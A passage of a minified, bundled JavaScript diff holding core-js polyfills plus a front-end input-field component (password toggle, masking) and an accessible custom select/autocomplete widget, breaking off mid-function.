{ + s(T, f, S) + } + o[t] = S; + o[M] = v; + if (g) { + E = { + values: k ? S : w(p), + keys: y ? S : w(m), + entries: Y + }; + if (b) + for (C in E) { + if (!(C in T)) a(T, C, E[C]) + } else r(r.P + r.F * (c || L), t, E) + } + return E + } + }, function (e, t, i) { + "use strict"; + var n = i(26); + var r = i(52); + var a = i(17); + e.exports = [].copyWithin || function e(t, i) { + var s = n(this); + var o = a(s.length); + var l = r(t, o); + var u = r(i, o); + var d = arguments.length > 2 ? arguments[2] : undefined; + var f = Math.min((d === undefined ? o : r(d, o)) - u, o - l); + var c = 1; + if (u < l && l < u + f) { + c = -1; + u += f - 1; + l += f - 1 + } + while (f-- > 0) { + if (u in s) s[l] = s[u]; + else delete s[l]; + l += c; + u += c + } + return s + } + }, function (e, t, i) { + "use strict"; + var n = i(16).f; + var r = i(65); + var a = i(49); + var s = i(25); + var o = i(50); + var l = i(74); + var u = i(134); + var d = i(133); + var f = i(72); + var c = i(18); + var h = i(33).fastKey; + var m = i(57); + var p = c ? "_s" : "size"; + var v = function (e, t) { + var i = h(t); + var n; + if (i !== "F") return e._i[i]; + for (n = e._f; n; n = n.n) { + if (n.k == t) return n + } + }; + e.exports = { + getConstructor: function (e, t, i, u) { + var d = e(function (e, n) { + o(e, d, t, "_i"); + e._t = t; + e._i = r(null); + e._f = undefined; + e._l = undefined; + e[p] = 0; + if (n != undefined) l(n, i, e[u], e) + }); + a(d.prototype, { + clear: function e() { + for (var i = m(this, t), n = i._i, r = i._f; r; r = r.n) { + r.r = true; + if (r.p) r.p = r.p.n = undefined; + delete n[r.i] + } + i._f = i._l = undefined; + i[p] = 0 + }, + delete: function (e) { + var i = m(this, t); + var n = v(i, e); + if (n) { + var r = n.n; + var a = n.p; + delete i._i[n.i]; + n.r = true; + if (a) a.n = r; + if (r) r.p = a; + if (i._f == n) i._f = r; + if (i._l == n) i._l = a; + i[p]-- + } + return !!n + }, + forEach: function e(i) { + m(this, t); + var n = s(i, arguments.length > 1 ? arguments[1] : undefined, 3); + var r; + while (r = r ? r.n : this._f) { + n(r.v, r.k, this); + while (r && r.r) r = r.p + } + }, + has: function e(i) { + return !!v(m(this, t), i) + } + }); + if (c) n(d.prototype, "size", { + get: function () { + return m(this, t)[p] + } + }); + return d + }, + def: function (e, t, i) { + var n = v(e, t); + var r, a; + if (n) { + n.v = i + } else { + e._l = n = { + i: a = h(t, true), + k: t, + v: i, + p: r = e._l, + n: undefined, + r: false + }; + if (!e._f) e._f = n; + if (r) r.n = n; + e[p]++; + if (a !== "F") e._i[a] = n + } + return e + }, + getEntry: v, + setStrong: function (e, t, i) { + u(e, t, function (e, i) { + this._t = m(e, t); + this._k = i; + this._l = undefined + }, function () { + var e = this; + var t = e._k; + var i = e._l; + while (i && i.r) i = i.p; + if (!e._t || !(e._l = i = i ? i.n : e._t._f)) { + e._t = undefined; + return d(1) + } + if (t == "keys") return d(0, i.k); + if (t == "values") return d(0, i.v); + return d(0, [i.k, i.v]) + }, i ? "entries" : "values", !i, true); + f(t) + } + } + }, function (e, t, i) { + var n = i(10); + e.exports = function (e, t, i, r) { + try { + return r ? t(n(i)[0], i[1]) : t(i) + } catch (t) { + var a = e["return"]; + if (a !== undefined) n(a.call(e)); + throw t + } + } + }, function (e, t, i) { + "use strict"; + var n = i(43); + var r = i(76); + var a = i(67); + var s = i(26); + var o = i(92); + var l = Object.assign; + e.exports = !l || i(12)(function () { + var e = {}; + var t = {}; + var i = Symbol(); + var n = "abcdefghijklmnopqrst"; + e[i] = 7; + n.split("").forEach(function (e) { + t[e] = e + }); + return l({}, e)[i] != 7 || Object.keys(l({}, t)).join("") != n + }) ? function e(t, i) { + var l = s(t); + var u = arguments.length; + var d = 1; + var f = r.f; + var c = a.f; + while (u > d) { + var h = o(arguments[d++]); + var m = f ? n(h).concat(f(h)) : n(h); + var p = m.length; + var v = 0; + var _; + while (p > v) + if (c.call(h, _ = m[v++])) l[_] = h[_] + } + return l + } : l + }, function (e, t, i) { + "use strict"; + var n = i(49); + var r = i(33).getWeak; + var a = i(10); + var s = i(8); + var o = i(50); + var l = i(74); + var u = i(66); + var d = i(20); + var f = i(57); + var c = u(5); + var h = u(6); + var m = 0; + var p = function (e) { + return e._l || (e._l = new v) + }; + var v = function () { + this.a = [] + }; + var _ = function (e, t) { + return c(e.a, function (e) { + return e[0] === t + }) + }; + v.prototype = { + get: function (e) { + var t = _(this, e); + if (t) return t[1] + }, + has: function (e) { + return !!_(this, e) + }, + set: function (e, t) { + var i = _(this, e); + if (i) i[1] = t; + else this.a.push([e, t]) + }, + delete: function (e) { + var t = h(this.a, function (t) { + return t[0] === e + }); + if (~t) this.a.splice(t, 1); + return !!~t + } + }; + e.exports = { + getConstructor: function (e, t, i, a) { + var u = e(function (e, n) { + o(e, u, t, "_i"); + e._t = t; + e._i = m++; + e._l = undefined; + if (n != undefined) l(n, i, e[a], e) + }); + n(u.prototype, { + delete: function (e) { + if (!s(e)) return false; + var i = r(e); + if (i === true) return p(f(this, t))["delete"](e); + return i && d(i, this._i) && delete i[this._i] + }, + has: function e(i) { + if (!s(i)) return false; + var n = r(i); + if (n === true) return p(f(this, t)).has(i); + return n && d(n, this._i) + } + }); + return u + }, + def: function (e, t, i) { + var n = r(a(t), true); + if (n === true) p(e).set(t, i); + else n[e._i] = i; + return e + }, + ufstore: p + } + }, function (e, t) { + e.exports = function (e, t, i) { + var n = i === undefined; + switch (t.length) { + case 0: + return n ? e() : e.call(i); + case 1: + return n ? e(t[0]) : e.call(i, t[0]); + case 2: + return n ? e(t[0], t[1]) : e.call(i, t[0], t[1]); + case 3: + return n ? e(t[0], t[1], t[2]) : e.call(i, t[0], t[1], t[2]); + case 4: + return n ? e(t[0], t[1], t[2], t[3]) : e.call(i, t[0], t[1], t[2], t[3]) + } + return e.apply(i, t) + } + }, function (e, t, i) { + var n = i(64); + var r = i(76); + var a = i(10); + var s = i(9).Reflect; + e.exports = s && s.ownKeys || function e(t) { + var i = n.f(a(t)); + var s = r.f; + return s ? i.concat(s(t)) : i + } + }, function (e, t, i) { + "use strict"; + var n = i(39); + + function r(e) { + var t, i; + this.promise = new e(function (e, n) { + if (t !== undefined || i !== undefined) throw TypeError("Bad Promise constructor"); + t = e; + i = n + }); + this.resolve = n(t); + this.reject = n(i) + } + e.exports.f = function (e) { + return new r(e) + } + }, function (e, t, i) { + t.f = i(11) + }, function (e, t, i) { + var n = i(22); + var r = i(64).f; + var a = {}.toString; + var s = typeof window == "object" && window && Object.getOwnPropertyNames ? Object.getOwnPropertyNames(window) : []; + var o = function (e) { + try { + return r(e) + } catch (e) { + return s.slice() + } + }; + e.exports.f = function e(t) { + return s && a.call(t) == "[object Window]" ? o(t) : r(n(t)) + } + }, function (e, t, i) { + "use strict"; + var n = i(41); + var r = i(42); + e.exports = function e(t) { + var i = String(r(this)); + var a = ""; + var s = n(t); + if (s < 0 || s == Infinity) throw RangeError("Count can't be negative"); + for (; s > 0; + (s >>>= 1) && (i += i)) + if (s & 1) a += i; + return a + } + }, function (e, t, i) { + var n = i(8); + var r = i(51); + var a = i(11)("match"); + e.exports = function (e) { + var t; + return n(e) && ((t = e[a]) !== undefined ? !!t : r(e) == "RegExp") + } + }, function (e, t, i) { + var n = i(8); + var r = Math.floor; + e.exports = function e(t) { + return !n(t) && isFinite(t) && r(t) === t + } + }, function (e, t) { + e.exports = Math.log1p || function e(t) { + return (t = +t) > -1e-8 && t < 1e-8 ? t - t * t / 2 : Math.log(1 + t) + } + }, function (e, t, i) { + var n = i(43); + var r = i(22); + var a = i(67).f; + e.exports = function (e) { + return function (t) { + var i = r(t); + var s = n(i); + var o = s.length; + var l = 0; + var u = []; + var d; + while (o > l) + if (a.call(i, d = s[l++])) { + u.push(e ? [d, i[d]] : i[d]) + } + return u + } + } + }, function (e, t, i) { + var n = i(17); + var r = i(145); + var a = i(42); + e.exports = function (e, t, i, s) { + var o = String(a(e)); + var l = o.length; + var u = i === undefined ? " " : String(i); + var d = n(t); + if (d <= l || u == "") return o; + var f = d - l; + var c = r.call(u, Math.ceil(f / u.length)); + if (c.length > f) c = c.slice(0, f); + return s ? c + o : o + c + } + }, function (e, t, i) { + "use strict"; + + function n(e) { + var t = this.constructor; + return this.then(function (i) { + return t.resolve(e()).then(function () { + return i + }) + }, function (i) { + return t.resolve(e()).then(function () { + return t.reject(i) + }) + }) + } + t["a"] = n + }, function (e, t, i) { + var n = i(123); + var r = i(88).concat("length", "prototype"); + t.f = Object.getOwnPropertyNames || function e(t) { + return n(t, r) + } + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(114); + var r = b(n); + var a = i(3); + var s = b(a); + var o = i(1); + var l = b(o); + var u = i(6); + var d = b(u); + var f = i(4); + var c = b(f); + var h = i(5); + var m = b(h); + var p = i(2); + var v = i(116); + var _ = b(v); + var g = i(423); + var y = b(g); + + function b(e) { + return e && e.__esModule ? e : { + default: e + } + } + var w = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); + n.container = e.closest(".input"); + n.isTextarea = n.el.tagName.toLowerCase() === "textarea"; + n.bindEvents(); + n.checkValue(); + n.defaultType = n.el.getAttribute("type"); + if (n.settings.mask) { + n.bindInputMask() + } + if (n.el.getAttribute("type") === "password") { + n.initPasswordField() + } + n.state = { + isPasswordVisible: false + }; + return n + }(0, d.default)(t, [{ + key: "bindEvents", + value: function e() { + this.handleChange = this.handleChange.bind(this); + this.handleFocus = this.handleFocus.bind(this); + this.handleBlur = this.handleBlur.bind(this); + this.el.addEventListener("focus", this.handleFocus); + this.el.addEventListener("input", this.handleFocus); + this.el.addEventListener("blur", this.handleBlur); + this.el.addEventListener("change", this.handleChange); + this.el.addEventListener("input", this.handleChange); + setInterval(this.handleChange, 500); + if (this.isTextarea) { + (0, y.default)(this.el) + } + } + }, { + key: "handleChange", + value: function e(t) { + this.checkValue() + } + }, { + key: "handleFocus", + value: function e(t) { + this.setActive(true) + } + }, { + key: "handleBlur", + value: function e(t) { + this.setActive(false); + this.checkValue() + } + }, { + key: "setActive", + value: function e(t) { + if (t) { + this.container.classList.add("active") + } else { + this.container.classList.remove("active") + } + } + }, { + key: "checkValue", + value: function e() { + if (this.el.value != "") { + this.container.classList.add("input--hasvalue") + } else { + this.container.classList.remove("input--hasvalue") + } + } + }, { + key: "initPasswordField", + value: function e() { + this.handlePasswordVisibilityToggle = this.handlePasswordVisibilityToggle.bind(this); + this.container.classList.add("input--password"); + var t = this.container.querySelector(".input__pwd-eye"); + if (t) { + t.addEventListener("click", this.handlePasswordVisibilityToggle) + } + } + }, { + key: "handlePasswordVisibilityToggle", + value: function e() { + var t = this.container.querySelector(".input__pwd-eye"); + if (this.state.isPasswordVisible) { + t.classList.remove("is-active"); + this.el.setAttribute("type", this.defaultType) + } else { + t.classList.add("is-active"); + this.el.setAttribute("type", "text") + } + this.state = (0, r.default)({}, this.state, { + isPasswordVisible: !this.state.isPasswordVisible + }) + } + }, { + key: "bindInputMask", + value: function e() { + var t = new _.default(this.settings.mask, { + removeMaskOnSubmit: true, + autoUnmask: true, + showMaskOnHover: false, + showMaskOnFocus: true, + placeholder: "x" + }).mask(this.el) + } + }]); + return t + }(p.Component); + w.defaultSettings = { + attributes: true, + mask: null + }; + t.default = w + }, function (e, t, i) { + e.exports = { + default: i(421), + __esModule: true + } + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = undefined; + var n = i(13); + var r = y(n); + var a = i(3); + var s = y(a); + var o = i(1); + var l = y(o); + var u = i(6); + var d = y(u); + var f = i(4); + var c = y(f); + var h = i(5); + var m = y(h); + var p = i(7); + var v = g(p); + var _ = i(2); + + function g(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function y(e) { + return e && e.__esModule ? e : { + default: e + } + } + var b = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); + n.selectors = { + trigger: ".select__trigger", + input: ".select__inputtxt" + }; + n.simpleCharQueue = []; + n.simpleCharQueueClearing = n.simpleCharQueueClearing.bind(n); + n.debug = false; + n.preventClose = false; + n.preSelCurrent = undefined; + n.selectID = "select-" + parseInt(Math.random() * 1e7); + n.input = undefined; + n.onInputFocus = n.onInputFocus.bind(n); + n.onInputBlur = n.onInputBlur.bind(n); + n.onInputClick = n.onInputClick.bind(n); + n.onInputKeyUp = n.onInputKeyUp.bind(n); + n.onSimpleInputKeyUp = n.onSimpleInputKeyUp.bind(n); + n.onOptionClick = n.onOptionClick.bind(n); + n.close = n.close.bind(n); + n.build(); + if (n.settings.search && !n.settings.readonly) { + n.addInputEvents() + } else { + n.container.addEventListener("blur", function (e) { + if (n.preventClose) { + return false + } + n.close() + }) + } + if (!n.settings.readonly) { + n.addBasicEvents() + } + return n + }(0, d.default)(t, [{ + key: "build", + value: function e() { + var t = this; + this.el.style.display = "none"; + this.elId = this.el.getAttribute("id") + "_input"; + if (this.elId === null || this.elId === undefined) { + this.elId = "select-" + parseInt(Math.random() * 999999) + } + this.container = this.buildContainer(); + this.elName = this.el.getAttribute("name"); + if ((this.settings.autocomplete || this.settings.search) && !this.settings.retainName) { + this.el.removeAttribute("name") + } + this.trigger = document.createElement("div"); + this.trigger.className = "select__trigger"; + this.trigger.innerHTML = this.buildTriggerHTML(); + this.container.appendChild(this.trigger); + this.input = this.trigger.querySelector(this.selectors.input); + this.holder = document.createElement("div"); + this.holder.className = "select__holder"; + this.holder.setAttribute("role", "listbox"); + this.holder.setAttribute("id", this.selectID); + document.body.appendChild(this.holder); + this.holder.addEventListener("mousedown", function (e) { + t.preventClose = true; + e.preventDefault() + }); + v.insertAfter(this.container, this.el); + this.container.insertBefore(this.el, this.container.firstChild); + this.rebuildOptions(); + if (this.el.options[this.el.selectedIndex] && this.el.options[this.el.selectedIndex].value.length > 0) { + this.el.options[this.el.selectedIndex].selected = true + } + } + }, { + key: "buildContainer", + value: function e() { + var t = document.createElement("div"); + var i = this.settings.style.split(" ").map(function (e) { + return " select--" + e + }).join(""); + var n = "select" + i; + if (this.settings.search) { + n += " select--search" + } + if (this.settings.icon) { + n += " select--icon" + } + if (!this.settings.triggerarrow) { + n += " select--no-triggerarrow" + } + if (v.hasClass(this.el, "error")) { + n += " error" + } + t.className = n; + t.setAttribute("role", "combobox"); + t.setAttribute("aria-haspopup", "listbox"); + t.setAttribute("aria-owns", this.selectID); + t.setAttribute("aria-expanded", false); + t.setAttribute("aria-labelledby", this.selectID + "_label"); + if (!this.settings.autocomplete && !this.settings.search) { + t.tabIndex = 0 + } + return t + } + }, { + key: "buildTriggerHTML", + value: function e() { + var t = this.el.options[this.el.selectedIndex] || document.createElement("OPTION"); + var i = ""; + var n = false; + var r = this.settings.iconsize; + if (this.settings.icon) { + n = this.settings.icon + } + if (t && t.hasAttribute("data-icon")) { + n = t.getAttribute("data-icon"); + v.addClass(this.container, "select--icon") + } + if (n && !this.settings.search) { + i += '
\n \n \n \n
' + } + var a = t && t.hasAttribute("data-info") ? '' + t.getAttribute("data-info") + "" : ""; + if (!this.settings.search && t) { + i += t ? '
' + t.text + a + "
" : "" + } + if (this.settings.search) { + var s = this.settings.label ? '" : ""; + var o = "select__input" + (this.settings.label ? this.settings.labelstyle == "inline" ? " select__input--inline" : " select__input--stacked" : ""); + var l = this.settings.retainName ? "" : 'name="' + this.elName + '"'; + var u = this.settings.placeholder ? this.settings.placeholder : ""; + var d = this.settings.readonly ? 'readonly="true"' : ""; + var f = []; + for (var c in this.settings) { + if (c.indexOf("val") > -1) { + f.push("data-" + c + '="' + this.settings[c] + '"') + } + } + var h = f.join(" "); + i += '
\n ' + s + '\n \n
' + } + i += '
\n \n
'; + return i + } + }, { + key: "hasLabelOption", + value: function e() { + return this.el.options[0].value.length === 0 + } + }, { + key: "rebuildTrigger", + value: function e() { + this.trigger.innerHTML = this.buildTriggerHTML(); + this.removeInputEvents(); + this.input = this.trigger.querySelector(this.selectors.input); + if (this.settings.search && !this.settings.readonly) { + this.addInputEvents() + } + } + }, { + key: "buildOption", + value: function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; + if (!t.value || t.hasAttribute("hidden")) { + return "" + } + if (!t.hasAttribute("value")) { + if (t.hasAttribute("data-label")) { + var n = t.getAttribute("data-label"); + return '
' + n + "
" + } + return "" + } + var r = t.text; + if (i) { + var a = new RegExp(v.regexcape(i), "i"); + var s = r.search(a); + r = r.substring(0, s) + "" + r.substring(s, s + i.length) + "" + r.substring(s + i.length, r.length) + } + var o = false; + if (String(this.getValue()) === String(t.value)) { + o = true + } + var l = o ? " active" : ""; + var u = t.getAttribute("data-icon"); + var d = 'focusable="false" tabIndex="-1"'; + var f = 'class="icon icon--20 icon-' + u + '"'; + var c = ""; + if (t.hasAttribute("data-icon")) { + c += '
'; + c += ""; + c += ''; + c += ""; + c += "
" + } + var h = t && t.hasAttribute("data-info") ? '' + t.getAttribute("data-info") + "" : ""; + var m = this.selectID + v.slugify(t.text) + t.value; + var p = ['id="' + m + '"', 'data-index="' + t.index + '"', 'data-value="' + t.value + '"', 'role="option"', 'class="select__option' + l + '"'].join(" "); + var _ = "
"; + _ += "" + c; + _ += ''; + _ += ' ' + r + "" + h; + _ += ""; + _ += "
"; + return _ + } + }, { + key: "rebuildOptions", + value: function e() { + this.holder.innerHTML = this.buildOptions(this.el.options); + this.bindOptionEvents() + } + }, { + key: "bindOptionEvents", + value: function e() { + var t = this; + (0, r.default)(this.holder.querySelectorAll(".select__option")).forEach(function (e) { + e.addEventListener("click", t.onOptionClick.bind(t, e)) + }) + } + }, { + key: "buildOptions", + value: function e(t) { + var i = this; + var n = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; + return [].slice.call(t).map(function (e) { + return i.buildOption(e, n) + }).join("") + } + }, { + key: "renderNoResults", + value: function e() { + return '
' + this.settings.noresults + "
" + } + }, { + key: "deselectAllOptions", + value: function e() { + (0, r.default)(this.el.options).forEach(function (e) { + e.selected = false + }) + } + }, { + key: "setSelectedIndex", + value: function e(t) { + t = parseInt(t); + this.deselectAllOptions(); + this.el.options[t].selected = true; + this.el.selectedIndex = t; + (0, r.default)(this.holder.querySelectorAll(".select__option")).forEach(function (e) { + e.classList.remove("active"); + e.setAttribute("aria-selected", false); + if (e.getAttribute("data-index") == t) { + e.classList.add("active"); + e.setAttribute("aria-selected", true) + } + }); + this.rebuildTrigger() + } + }, { + key: "setSelectedByLabel", + value: function e(t) { + var i = this; + var n = false; + (0, r.default)(this.el.options).forEach(function (e, r) { + if (e.value == t) { + n = true; + i.setSelectedIndex(r) + } + }); + return n + } + }, { + key: "setSelected", + value: function e(t) { + var i = this; + var n = false; + (0, r.default)(this.el.options).forEach(function (e, r) { + if (e.value === t.value && e.label == t.label) { + n = true; + i.setSelectedIndex(r) + } + }); + if (n) { + return + } + var a = document.createElement("option"); + a.setAttribute("value", t.value); + a.setAttribute("data-icon", t.icon); + a.innerHTML = t.label; + this.el.appendChild(a); + this.setSelectedIndex(this.el.options.length - 1); + this.rebuildOptions() + } + }, { + key: "getSelectedIndex", + value: function e(t) { + return this.el.selectedIndex + } + }, { + key: "open", + value: function e() { + var i = this; + if (this.isOpen()) return; + this.preventClose = false; + this.rebuildOptions(); + this.scrollIntoView(); + document.body.addEventListener("click", this.close); + this.container.setAttribute("aria-expanded", true); + this.doesOpensUpwards(); + t.instances.forEach(function (e) { + i !== e && e.close() + }); + setTimeout(function () { + i.scrollVisible() + }, 100); + if (!(this.settings.autocomplete || this.settings.search) && !this.settings.readonly) { + this.addSimpleSearchEvents() + } + } + }, { + key: "onOptionClick", + value: function e(t) { + this.setSelectedIndex(t.getAttribute("data-index")); + this.triggerChange(this.el.value); + this.close(); + return false + } + }, { + key: "doesOpensUpwards", + value: function e() { + this.holder.classList.add("is-active"); + this.holder.classList.remove("is-up"); + this.holder.removeAttribute("style"); + var t = this.trigger.getBoundingClientRect(); + var i = this.trigger.clientHeight; + var n = this.holder.getBoundingClientRect(); + var r = t.top >= 0 && t.bottom <= (window.innerHeight || document.documentElement.clientHeight) - n.height; + var a = t.top + 1 + window.pageYOffset + i + 1; + this.container.classList.add("select--open"); + if (r) { + this.holder.style.top = a + "px" + } else { + var s = v.getDocumentHeight() - (t.top + window.pageYOffset + n.height) - 2; + this.holder.classList.add("is-up"); + this.container.classList.add("select--open-up"); + this.holder.style.bottom = s + "px" + } + if (this.container.classList.contains("select--inverse") || this.container.classList.contains("select--underlined")) { + this.holder.style.left = t.left - 20 + "px"; + this.holder.style.width = this.container.offsetWidth + 40 + "px" + } else { + this.holder.style.left = t.left + "px"; + this.holder.style.width = this.container.offsetWidth + "px" + } + if (this.container.classList.contains("select--inverse")) { + this.holder.classList.add("is-inverse") + } + return !r + } + }, { + key: "scrollVisible", + value: function e() { + var t = document.documentElement; + var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); + var n = this.holder.getBoundingClientRect(), + r = n.top, + a = n.height; + var s = r + i + a; + if (s > window.innerHeight + i) { + window.scrollTo(0, s - window.innerHeight + 20) + } else if (r < 0) { + window.scrollTo(0, i + r - 20) + } + } + }, { + key: "isOpen", + value: function e() { + return v.hasClass(this.holder, "is-active") + } + }, { + key: "toggleOpen", + value: function e() { + if (!this.isOpen()) { + this.open() + } else { + this.close() + } + } + }, { + key: "close", + value: function e() { + v.removeClass(this.container, "select--open"); + v.removeClass(this.container, "select--open-up"); + v.removeClass(this.holder, "is-active"); + this.container.setAttribute("aria-expanded", false); + document.body.removeEventListener("click", this.close); + this.removeSimpleSearchEvents() + } + }, { + key: "getValue", + value: function e() { + if (this.settings.autocomplete) { + return this.input.value + } + return this.el.value + } + }, { + key: "getLabel", + value: function e() { + if (this.settings.autocomplete) { + var t = this.input.options[this.input.selectedIndex]; + if (t) { + return this.input.options[this.input.selectedIndex].innerHTML + } + return "" + } + var i = this.el.options[this.el.selectedIndex]; + if (i) { + return this.el.options[this.el.selectedIndex].innerHTML + } + return "" + } + }, { + key: "getIcon", + value: function e() { + if (this.settings.autocomplete) { + return this.input.options[this.input.selectedIndex].getAttribute("data-icon") + } + return this.el.options[this.el.selectedIndex].getAttribute("data-icon") + } + }, { + key: "filterAjax", + value: function e(t) { + var i = this; + this.startAjaxLoading(); + fetch("" + this.settings.ajax + t).then(function (e) { + return e.json() + }).then(function (e) { + var n = e.results ? e.results : e; + var r = n.map(function (e) { + var t = e.value, + i = e.icon, + n = e.text; + return '" + }).join(""); + i.el.innerHTML = "" + r; + i.filter(t) + }) + } + }, { + key: "startAjaxLoading", + value: function e() { + this.holder.innerHTML = '
 
' + } + }, { + key: "filter", + value: function e(t) { + t = v.replaceAccents(t).toLowerCase(); + var i = (0, r.default)(this.el.options).filter(function (e) { + return e.text.toLowerCase().indexOf(t) > -1 + }); + this.holder.innerHTML = i.length == 0 ? this.renderNoResults() : this.buildOptions(i, t); + if (i.length > 0) { + this.bindOptionEvents() + } + } + }, { + key: "navigateOptions", + value: function e(t) { + if (!this.isOpen()) { + this.open() + } + var i = this.hasLabelOption() ? this.el.selectedIndex - 1 : this.el.selectedIndex; + if (this.preSelCurrent !== undefined && this.preSelCurrent !== -1) { + i = this.preSelCurrent + } + var n = (0, r.default)(this.holder.querySelectorAll(".select__option")); + if (n.length == 0) { + return + } + if (t === "prev") { + i--; + i = i < 0 ? n.length - 1 : i + } else if (t === "next") { + i++; + i = i > n.length - 1 ? 0 : i + } else if (t === "start") { + i = 0 + } else if (t === "end") { + i = n.length - 1 + } + this.setOptionFocusByIndex(i) + } + }, { + key: "setOptionFocusByIndex", + value: function e(t) { + var i = this.holder.querySelectorAll(".select__option"); + var n = (0, r.default)(i); + v.addClass(this.holder, "no-hover"); + n.forEach(function (e) { + e.removeAttribute("aria-selected"); + v.removeClass(e, "focus"); + v.removeClass(e, "active") + }); + this.preSelCurrent = t; + var a = i[this.preSelCurrent]; + a.setAttribute("aria-selected", true); + v.addClass(a, "focus"); + this.holder.addEventListener("mousemove", function e(t) { + v.removeClass(this, "no-hover"); + this.removeEventListener("mousemove", e); + (0, r.default)(this.querySelectorAll(".select__option")).forEach(function (e) { + v.removeClass(e, "focus") + }) + }); + var s = this.hasLabelOption() ? this.el.selectedIndex - 1 : this.el.selectedIndex; + var o = i[s]; + o && v.addClass(o, "active"); + this.container.setAttribute("aria-activedescendant", a.getAttribute("id")); + this.scrollIntoView() + } + }, { + key: "scrollIntoView", + value: function e() { + if (!this.preSelCurrent) { + return + } + var t = this.holder.querySelectorAll(".select__option"); + var i = t[this.preSelCurrent]; + if (!i) { + return + } + var n = i.getBoundingClientRect(); + var r = this.holder.getBoundingClientRect(); + if (n.bottom > r.bottom) { + this.holder.scrollTop = i.offsetTop + i.clientHeight - this.holder.offsetHeight + } else if (n.top < r.top) { + this.holder.scrollTop = i.offsetTop + } + } + }, { + key: "addSimpleSearchEvents", + value: function e() { + this.removeSimpleSearchEvents(); + this.simpleCharQueueClearing(); + this.container.addEventListener("keyup", this.onSimpleInputKeyUp) + } + }, { + key: "removeSimpleSearchEvents", + value: function e() { + this.simpleCharQueueClearing(); + this.container.removeEventListener("keyup", this.onSimpleInputKeyUp) + } + }, { + key: "addInputEvents", + value: function e() { + this.removeInputEvents(); + if (!this.input) { + return + } + this.input.addEventListener("focus", this.onInputFocus); + this.input.addEventListener("blur", this.onInputBlur); + this.input.addEventListener("click", this.onInputClick); + if (this.settings.autocomplete || this.settings.search) { + this.input.addEventListener("keyup", this.onInputKeyUp) + } + } + }, { + key: "removeInputEvents", + value: function e() { + if (!this.input) { + return + } + this.input.removeEventListener("focus", this.onInputFocus); + this.input.removeEventListener("blur", this.onInputBlur); + this.input.removeEventListener("click", this.onInputClick); + this.input.removeEventListener("keyup", this.onInputKeyUp) + } + }, { + key: "onInputFocus", + value: function e(t) { + document.body.dispatchEvent(new CustomEvent("click")); + this.open(); + t.target.select() + } + }, { + key: "onInputBlur", + value: function e() { + var t = this; + if (this.preventClose) { + return false + } + if (this.settings.autocomplete || this.settings.search) { + var i = this.setSelectedByLabel(this.el.value); + if (!i) { + this.input.value = ""; + this.deselectAllOptions() + } + this.triggerChange(this.el.value) + } + setTimeout(function () { + t.rebuildOptions(); + t.close() + }, 250) + } + }, { + key: "triggerChange", + value: function e(t) { + if (!t) { + t = this.getValue() + } + var i = this.getLabel(); + this.settings.onChange && this.settings.onChange(t, i); + var n = new CustomEvent("change", { + detail: { + value: t, + label: i + } + }); + this.el.dispatchEvent(n) + } + }, { + key: "onInputClick", + value: function e(t) { + t.stopPropagation() + } + }, { + key: "onInputKeyUp", + value: function e(t) { + var i = t.keyCode || t.which; + switch (i) { + case 38: + case 40: + case 13: + case 27: + case 9: + break; + case 39: + case 16: + t.preventDefault(); + break; + default: + if (this.input.value.length < this.settings.minchars) { + break + } + this.preSelCurrent = -1; + this.el.selectedIndex = -1; + if (this.settings.ajax) { + this.filterAjax(this.input.value) + } else { + this.filter(this.input.value) + } + } + } + }, { + key: "onSimpleInputKeyUp", + value: function e(t) { + var i = t.keyCode || t.which; + switch (i) { + case 38: + case 40: + case 13: + case 27: + case 9: + case 16: + break; + case 32: + t.preventDefault(); + t.stopPropagation(); + return false; + default: + var n = String.fromCharCode(t.keyCode).toLowerCase(); + if (this.simpleCharQueue.length > 0 && this.simpleCharQueue[this.simpleCharQueue.length - 1] == n || this.simpleCharQueue.length === 0) { + this.simpleCharQueue.push(n) + } else { + this.simpleCharQueue = [n] + } + var a = (0, r.default)(this.el.options).map(function (e) { + return e.text.toLowerCase().substring(0, 1) + }); + var s = a.filter(function (e) { + return e === n + }).length; + var o = this.simpleCharQueue.length - 1; + if (this.simpleCharQueue.length > s) { + o = this.simpleCharQueue.length % s + } + var l = 0; + var u = a.findIndex(function (e) { + if (e == n) { + if (l == o) { + return true + } + l++ + } + return false + }) - (this.hasLabelOption() ? 1 : 0); + if (u > -1) { + this.setOptionFocusByIndex(u) + } + } + } + }, { + key: "simpleCharQueueClearing", + value: function e() { + this.simpleCharQueue = [] + } + }, { + key: "addBasicEvents", + value: function e() { + var t = this; + v.on(this.container, "click", this.selectors.trigger, function (e, i) { + e.stopPropagation(); + t.toggleOpen(); + return false + }); + this.container.addEventListener("keydown", function (e) { + var i = e.keyCode || e.which; + switch (i) { + case 38: + e.preventDefault(); + t.navigateOptions("prev"); + break; + case 40: + e.preventDefault(); + t.navigateOptions("next"); + break; + case 35: + if (e.shiftKey) { + break + } + e.preventDefault(); + t.navigateOptions("end"); + break; + case 36: + if (e.shiftKey) { + break + } + e.preventDefault(); + t.navigateOptions("start"); + break; + case 32: + if (t.settings.search || t.settings.autocomplete) { + break + } + case 13: + e.preventDefault(); + e.stopPropagation(); + t.handleOptionSubmit(); + break; + case 9: + if (t.isOpen()) { + t.handleOptionSubmit() + } + break; + case 27: + e.preventDefault(); + t.close(); + break; + default: + t.open(); + break + } + }) + } + }, { + key: "setAriaActiveDescendant", + value: function e() { + var t = this.holder.querySelector(".active"); + this.container.setAttribute("aria-activedescendant", t.getAttribute("id")) + } + }, { + key: "handleOptionSubmit", + value: function e() { + var t = this; + if (this.isOpen() && this.preSelCurrent !== undefined && this.preSelCurrent !== -1) { + var i = (0, 